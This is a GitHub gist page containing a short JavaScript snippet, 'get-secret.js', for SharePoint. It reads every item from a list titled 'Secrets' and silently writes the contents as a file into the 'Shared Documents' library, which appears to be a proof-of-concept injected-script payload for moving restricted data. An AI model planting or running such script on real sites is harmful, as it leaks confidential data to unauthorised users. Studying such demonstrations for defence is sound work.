Skip to content

Instantly share code, notes, and snippets.

@mirontoli

mirontoli/get-secret.js

Last active Nov 6, 2019
Embed
What would you like to do?
try {
var xhr = new XMLHttpRequest();
xhr.open("GET", "/sites/DailyWork/_api/web/Lists/GetByTitle('Secrets')/Items", true);
xhr.setRequestHeader("Accept","application/json;odata=nometadata");
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var content = xhr.responseText;
var time = new Date().getTime();
var url = _spPageContextInfo.webServerRelativeUrl
+ "/_api/web/getfolderbyserverrelativeurl('Shared Documents')/Files/add(overwrite=true, url='"
+ time + ".json')";
var xhrUpload = new XMLHttpRequest();
xhrUpload.open("POST", url, true);
xhrUpload.setRequestHeader("Content-Type", "text/plain")
xhrUpload.setRequestHeader("X-RequestDigest", __REQUESTDIGEST.value);
xhrUpload.send(content);
}
}
}
xhr.send(null);
}
catch(e) { /* do nothing */ }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.